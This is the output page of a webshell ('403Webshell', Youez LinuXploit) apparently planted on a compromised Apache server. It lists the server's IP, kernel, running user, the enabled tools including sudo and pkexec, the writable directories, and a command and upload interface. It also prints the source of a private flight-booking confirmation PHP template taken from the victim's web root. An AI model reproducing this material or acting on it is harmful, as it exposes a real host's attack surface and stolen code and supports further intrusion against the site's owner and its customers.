403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2b.hellogtx.com/application/views/scripts/flight/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2b.hellogtx.com/application/views/scripts/flight/booking-confirmed-tbo-int.phtml
<?php
$FlightBookingData = $this->FlightBookingData;
$API_Response_Ticket = $this->API_Response_Ticket;
$Response['onward'] = $API_Response_Ticket[0];
if (isset($API_Response_Ticket[1])) {
  $Response['return'] = $API_Response_Ticket[1];
}
$ErrorMessageonward = !empty($Response['onward']['Response']['Error']['ErrorMessage']) ? $Response['onward']['Response']['Error']['ErrorMessage'] : 'Oops somethings went wrong. please note reference number for future use.';
$ResponseStatusonward  = $success = $Response['onward']['Response']['ResponseStatus'];
if ($ResponseStatusonward == 1 && $this->ICSourceSysId != 8) {
  $status = 'SUCCESS';
}elseif($this->ICSourceSysId == 8){
  $status = $API_Response_Ticket['order']['status'];
} else {
  $status = '';
}
if($this->ICSourceSysId == 8){
  // echo "if condition";die("tttttt");
  if($FlightBookingData[0]['Segments']){
    foreach($FlightBookingData[0]['Segments'] as $segValue){
      if($segValue['isReturnSegment'] == 1){
        $FlightBookingData[0]['destination']['Segments'][] = $segValue;
      }else{
          $FlightBookingData[0]['origin']['Segments'][] = $segValue;
      }
    }
  }
  $travellerInfos = $API_Response_Ticket['itemInfos']['AIR']['travellerInfos'];
  $pnrDetails = $travellerInfos[0]['pnrDetails'];
}
// echo json_encode($API_Response_Ticket);die("tttt");
?>

<?php
$TicketArray = [];
if ($FlightBookingData) {
  foreach ($FlightBookingData as $key => $Data) {
    //$Data = $Data['origin'];
    $bookingId = str_replace('TJS', BOOKINGREF, $Data['bookingId_TJ']);
    if ($this->ICSourceSysId == 8) {
      $bookingId = trim($Data['bookingId']);
    }
    if ($IsTJFlightAPI == 0 && $this->ICSourceSysId != 8) {
      $TBORes = isset($API_Response_Ticket[$key]) ? $API_Response_Ticket[$key] : '';
      $bookingId = $TBORes['Response']['Response']['BookingId'];
      $PNRTBO = $TBORes['Response']['Response']['PNR'];
      $Origin = $TBORes['Response']['Response']['FlightItinerary']['Origin'];
      $Destination = $TBORes['Response']['Response']['FlightItinerary']['Destination'];
      $PassengerTBO = $TBORes['Response']['Response']['FlightItinerary']['Passenger'];
      if ($PassengerTBO) {
        foreach ($PassengerTBO as $ps => $pass) {
          $TicketArray[][$ps] = array(
            'Origin' => $Origin,
            'Destination' => $Destination,
            'Ticket' => $pass['Ticket'],
            'Ssr' => $pass['Ssr'],
          );
        }
      }
      //echo '<pre>';print_r($PassengerTBO);echo '</pre>';
    }
    //echo '<pre>';print_r($Data['origin']['Segments']);echo '</pre>';
?>
    <div class="deaprture_box return_align">
        <div class="deaprture_box_title">
          ONWARD
        </div>
      

      <div class="tickets_paylater">
        <div class="row">
          <div class="col-lg-8 col-sm-6 col-xs-12 col-md-9">
            <div class="paylater_logo">
              <img src="<?= $Data['origin']['logo'] ?>" class="img-circle" height="50">
              <h5><?= $Data['origin']['AirlineName'] ?></h5>
              <h6><?= $Data['origin']['FlightNumber'] ?></h6>
            </div>
            <div class="paylater_economy_info">
              <?= !empty($Data['FairRules']['FareClass']) ? $Data['FairRules']['FareClass'] : '' ?> <span class="paylater_bullet"></span> <?= $Data['StopCount'] ?>
            </div>

          </div>
          <div class="col-lg-4 col-sm-6 col-xs-12 col-md-3">
            <div class="pnrbox">
              Ref. No. <?= $bookingId ?> <span class="confirmed"><?= $status ?></span>
            </div>
          </div>
        </div>
        <div class="clearfix"></div>
      </div>
      <?php
      if ($Data['origin']['Segments']) {
        foreach ($Data['origin']['Segments'] as $value) {
          $segggg = $value['originAirportCode'] . '-' . $value['destinationAirportCode'];
          $PNR = $pnrDetails[$segggg];
        
          $originDepTime = Zend_Controller_Action_HelperBroker::getStaticHelper("Flight")->getArrivalDepartureIndianFormat($value['originDepTime']);
          $destinationArrTime = Zend_Controller_Action_HelperBroker::getStaticHelper("Flight")->getArrivalDepartureIndianFormat($value['destinationArrTime']);
      ?>
          <?php if ($value['GroundTime'] > 0 ) { ?>
            <div class="airport_timeinformation">
              <?= $value['LAYOVERDuration'] ?> LAYOVER at <?= $value['destinationCityName'] ?> Airport
            </div>
          <?php } ?>
          <div class="ticketdetails_information">
            <div class="row">
              <div class="col-lg-7 col-sm-7 col-md-7 col-xs-12">
                <div class="tickets_flight_logo mobile_hide_section"><img src="<?php echo $baseUrl; ?>public/asset/images/flight-takeoff-line-black.svg" /></div>

                <div class="tickets_details">
                  <div class="tickets_time"><?= $value['originCityName']; ?></div>
                  <div class="tickets_time2"><?= $originDepTime ?></div>
                  <div class="tickets_cityname"><?= $value['strDepartureDtTime']; ?></div>
                  <div class="tickets_cityname2"><?= $value['originAirportName'] ?> <?= !empty($value['DepTerminal']) ? ', Terminal: ' . $value['DepTerminal'] : ''; ?> <?= !empty(trim($value['originCountryName'])) ? ', ' . $value['originCountryName'] : ''; ?></div>
                </div>
                <div class="theme-search-results-item-flight-section-path1">
                  <div class="theme-search-results-item-flight-section-path-fly-time1">
                    <p><?= $value['FlightDuration']; ?> </p>
                  </div>
                  <div class="theme-search-results-item-flight-section-path-line1">
                  </div>
                  <div class="theme-search-results-item-flight-section-path-line-start1">
                    <div class="theme-search-results-item-flight-section-path-line-dot1">
                    </div>
                  </div>
                  <div class="theme-search-results-item-flight-section-path-line-end1">
                    <div class="theme-search-results-item-flight-section-path-line-dot1">
                    </div>
                  </div>
                </div>


                <div class="tickets_details tickets_details_right">
                  <div class="tickets_time"><?= $value['destinationCityName']; ?> </div>
                  <div class="tickets_time2"><?= $destinationArrTime ?></div>
                  <div class="tickets_cityname"><?= $value['strArrivalDtTime']; ?></div>
                  <div class="tickets_cityname2"><?= $value['destinationAirportName'] ?><?= !empty($value['ArrTerminal']) ? ', Terminal: ' . $value['ArrTerminal'] : ''; ?> <?= !empty($value['destinationCountryName']) ? ', ' . $value['destinationCountryName'] : ''; ?></div>
                </div>
              </div>
              <div class="col-lg-5 col-sm-5 col-md-5 col-xs-12">
                <div class="mytrip_babbage_wrappertcikets pnr_right_tickets">
                  <div class="pnrbox">
                    PNR : <?= ($IsTJFlightAPI == 0 && $this->ICSourceSysId != 8) ? $PNRTBO : $PNR ?></span>
                  </div>
                </div>
                <div class="mytrip_babbage_wrappertcikets babage_align babage_alignwidth">
                  <span class="boxmytriptcikets"><img src="<?php echo $baseUrl; ?>public/asset/images/baggage.png"></span>
                  <span class="cab-inmytriptcikets">CHECK-IN: <?= $value['Baggage'] ?></span>
                  <span class="boxmytriptcikets"><img src="<?php echo $baseUrl; ?>public/asset/images/luggage.png"></span>
                  <span class="checkinmytriptcikets">CAB-IN: <?= $value['CabinBaggage'] ?> </span>
                  <span class="dotmtpmytriptcikets"><img src="<?php echo $baseUrl; ?>public/asset/images/meals.png"></span>
                  <span class="mealmtpmytriptcikets">MEAL: <?= ($Data['IsMealIncludes'] == 1) ? 'YES' : 'NO' ?></span>
                </div>

              </div>
            </div>
          </div>
          
      <?php
        }
      }
      ?>

      <div class="dotline1"></div>
      <div class="clearfix"></div>
    </div>
    <div class="divider_div_line"></div>
<?php
  }
}
?>

<?php
$TicketArray = [];
if ($FlightBookingData) {
  foreach ($FlightBookingData as $key => $Data) {
    //$Data = $Data['origin'];
    $bookingId = str_replace('TJS', BOOKINGREF, $Data['bookingId_TJ']);
    if ($this->ICSourceSysId == 8) {
      $bookingId = trim($Data['bookingId']);
    }
    if ($IsTJFlightAPI == 0  && $this->ICSourceSysId != 8) {
      $TBORes = isset($API_Response_Ticket[$key]) ? $API_Response_Ticket[$key] : '';
      $bookingId = $TBORes['Response']['Response']['BookingId'];
      $PNRTBO = $TBORes['Response']['Response']['PNR'];
      $Origin = $TBORes['Response']['Response']['FlightItinerary']['Origin'];
      $Destination = $TBORes['Response']['Response']['FlightItinerary']['Destination'];
      $PassengerTBO = $TBORes['Response']['Response']['FlightItinerary']['Passenger'];
      if ($PassengerTBO) {
        foreach ($PassengerTBO as $ps => $pass) {
          $TicketArray[][$ps] = array(
            'Origin' => $Origin,
            'Destination' => $Destination,
            'Ticket' => $pass['Ticket'],
            'Ssr' => $pass['Ssr'],
          );
        }
      }
      //echo '<pre>';print_r($PassengerTBO);echo '</pre>';
    }
    //echo '<pre>';print_r($Data);echo '</pre>';
?>
    <div class="deaprture_box return_align">

      <div class="deaprture_box_title">
      RETURN
      </div>


      <div class="tickets_paylater">
        <div class="row">
          <div class="col-lg-8 col-sm-6 col-xs-12 col-md-9">
            <div class="paylater_logo">
              <img src="<?= $Data['destination']['logo'] ?>" class="img-circle" height="50">
              <h5><?= $Data['destination']['AirlineName'] ?></h5>
              <h6><?= $Data['destination']['FlightNumber'] ?></h6>
            </div>
            <div class="paylater_economy_info">
              <?= !empty($Data['FairRules']['FareClass']) ? $Data['FairRules']['FareClass'] : '' ?> <span class="paylater_bullet"></span> <?= $Data['StopCount'] ?>
            </div>

          </div>
          <div class="col-lg-4 col-sm-6 col-xs-12 col-md-3">
            <div class="pnrbox">
              Ref. No. <?= $bookingId ?> <span class="confirmed"><?= $status ?></span>
            </div>
          </div>
        </div>
        <div class="clearfix"></div>
      </div>
      <?php
      if ($Data['destination']['Segments']) {
        foreach ($Data['destination']['Segments'] as $value) {
          $segggg = $value['originAirportCode'] . '-' . $value['destinationAirportCode'];
         
          $PNR = $pnrDetails[$segggg];
          $originDepTime = Zend_Controller_Action_HelperBroker::getStaticHelper("Flight")->getArrivalDepartureIndianFormat($value['originDepTime']);
          $destinationArrTime = Zend_Controller_Action_HelperBroker::getStaticHelper("Flight")->getArrivalDepartureIndianFormat($value['destinationArrTime']);
          
      ?>
          <?php if ($value['GroundTime'] > 0 ) { ?>
            <div class="airport_timeinformation">
              <?= $value['LAYOVERDuration'] ?> LAYOVER at <?= $value['destinationCityName'] ?> Airport
            </div>
          <?php } ?>
          <div class="ticketdetails_information">
            <div class="row">
              <div class="col-lg-7 col-sm-7 col-md-7 col-xs-12">
                <div class="tickets_flight_logo mobile_hide_section"><img src="<?php echo $baseUrl; ?>public/asset/images/flight-takeoff-line-black.svg" /></div>

                <div class="tickets_details">
                  <div class="tickets_time"><?= $value['originCityName']; ?></div>
                  <div class="tickets_time2"><?= $originDepTime ?></div>
                  <div class="tickets_cityname"><?= $value['strDepartureDtTime']; ?></div>
                  <div class="tickets_cityname2"><?= $value['originAirportName'] ?> <?= !empty($value['DepTerminal']) ? ', Terminal: ' . $value['DepTerminal'] : ''; ?> <?= !empty(trim($value['originCountryName'])) ? ', ' . $value['originCountryName'] : ''; ?></div>
                </div>
                <div class="theme-search-results-item-flight-section-path1">
                  <div class="theme-search-results-item-flight-section-path-fly-time1">
                    <p><?= $value['FlightDuration']; ?> </p>
                  </div>
                  <div class="theme-search-results-item-flight-section-path-line1">
                  </div>
                  <div class="theme-search-results-item-flight-section-path-line-start1">
                    <div class="theme-search-results-item-flight-section-path-line-dot1">
                    </div>
                  </div>
                  <div class="theme-search-results-item-flight-section-path-line-end1">
                    <div class="theme-search-results-item-flight-section-path-line-dot1">
                    </div>
                  </div>
                </div>


                <div class="tickets_details tickets_details_right">
                  <div class="tickets_time"><?= $value['destinationCityName']; ?> </div>
                  <div class="tickets_time2"><?= $destinationArrTime ?></div>
                  <div class="tickets_cityname"><?= $value['strArrivalDtTime']; ?></div>
                  <div class="tickets_cityname2"><?= $value['destinationAirportName'] ?><?= !empty($value['ArrTerminal']) ? ', Terminal: ' . $value['ArrTerminal'] : ''; ?> <?= !empty($value['destinationCountryName']) ? ', ' . $value['destinationCountryName'] : ''; ?></div>
                </div>
              </div>
              <div class="col-lg-5 col-sm-5 col-md-5 col-xs-12">
                <div class="mytrip_babbage_wrappertcikets pnr_right_tickets">
                  <div class="pnrbox">
                    PNR : <?= ($IsTJFlightAPI == 0 && $this->ICSourceSysId != 8) ? $PNRTBO : $PNR ?></span>
                  </div>
                </div>
                <div class="mytrip_babbage_wrappertcikets babage_align babage_alignwidth">
                  <span class="boxmytriptcikets"><img src="<?php echo $baseUrl; ?>public/asset/images/baggage.png"></span>
                  <span class="cab-inmytriptcikets">CHECK-IN: <?= $value['Baggage'] ?></span>
                  <span class="boxmytriptcikets"><img src="<?php echo $baseUrl; ?>public/asset/images/luggage.png"></span>
                  <span class="checkinmytriptcikets">CAB-IN: <?= $value['CabinBaggage'] ?> </span>
                  <span class="dotmtpmytriptcikets"><img src="<?php echo $baseUrl; ?>public/asset/images/meals.png"></span>
                  <span class="mealmtpmytriptcikets">MEAL: <?= ($Data['IsMealIncludes'] == 1) ? 'YES' : 'NO' ?></span>
                </div>

              </div>
            </div>
          </div>
          <?php if ($value['GroundTime'] > 0 && $IsTJFlightAPI == 1) { ?>
            <div class="airport_timeinformation">
              <?= $value['LAYOVERDuration'] ?> LAYOVER at <?= $value['destinationCityName'] ?> Airport
            </div>
          <?php } ?>
      <?php
        }
      }
      ?>

      <div class="dotline1"></div>
      <div class="clearfix"></div>
    </div>
    <div class="divider_div_line"></div>
<?php
  }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit